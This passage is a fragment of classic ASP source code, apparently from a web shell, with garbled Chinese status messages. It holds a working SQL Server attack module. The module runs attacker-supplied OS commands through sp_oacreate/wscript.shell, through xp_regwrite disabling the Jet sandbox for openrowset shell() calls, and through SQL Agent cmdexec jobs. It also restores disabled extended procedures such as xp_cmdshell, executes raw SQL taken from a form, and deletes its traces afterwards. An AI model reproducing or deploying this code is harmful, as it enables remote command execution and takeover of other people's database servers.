    " strquery = "drop table [jnc];declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c del 8617.tmp'" adoconn.execute(strquery) end if elseif request("tool")="xp_regwrite" then if session("system")="2000" then path="c:\winnt\system32\ias\ias.mdb" else path="c:\windows\system32\ias\ias.mdb" end if set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then cmd=chr(34)&"cmd.exe /c "&request.form("cmd")&" > 8617.tmp"&chr(34) strquery = "create table [jnc](resulttxt nvarchar(1024) null);exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',0;select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&cmd&")');" adoconn.execute(strquery) strquery = "select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&chr(34)&"cmd.exe /c copy 8617.tmp jnc.tmp"&chr(34)&")');bulk insert [jnc] from 'jnc.tmp' with (keepnulls);" set recresult = adoconn.execute(strquery) strquery="select * from [jnc];" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "drop table [jnc];exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&chr(34)&"cmd.exe /c del 8617.tmp&&del jnc.tmp"&chr(34)&")');" adoconn.execute(strquery) end if elseif request("tool")="sqlserveragent" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then if session("sqlserveragent")=0 then strquery = "exec master.dbo.xp_servicecontrol 'start','sqlserveragent';" adoconn.execute(strquery) session("sqlserveragent")=1 end if strquery = "use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,'x' exec sp_add_job 'x' exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "&request.form("cmd")&"' exec sp_add_jobserver null,'x',@@servername exec sp_start_job 'x';" adoconn.execute(strquery) adoconn.execute(strquery) adoconn.execute(strquery) response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "use msdb drop table [jncsql];" adoconn.execute(strquery) end if elseif request("tool")="" then response.write "" end if else response.write "" end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="resume" then if session("login")<>"" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if session("xp_cmdshell")=0 then strquery="dbcc addextendedproc ('xp_cmdshell','xplog70.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_cmdshell
    " elseif session("sp_oacreate")=0 then strquery="dbcc addextendedproc ('sp_oacreate','odsole70.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´sp_oacreate
    " elseif session("xp_regwrite")=0 then strquery="dbcc addextendedproc ('xp_regwrite','xpstar.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_regwrite
    " elseif session("xp_servicecontrol")=0 then strquery="dbcc addextendedproc ('xp_servicecontrol','xprepl.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_servicecontrol
    " else response.write "
    ¹§Ï²£¡×é¼þÆëÈ«
    " end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="sql" then if session("login")<>"" then if request.form("sql")<>"" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") strquery=request.form("sql") set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    " end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if end if if request("sqlaaa")="logout" then set adoconn=nothing session("login")="" session("name")="" session("pass")="" session("server")="" session("port")="" session("system")="" session("pri")="" response.write "" end if end function RRS""%>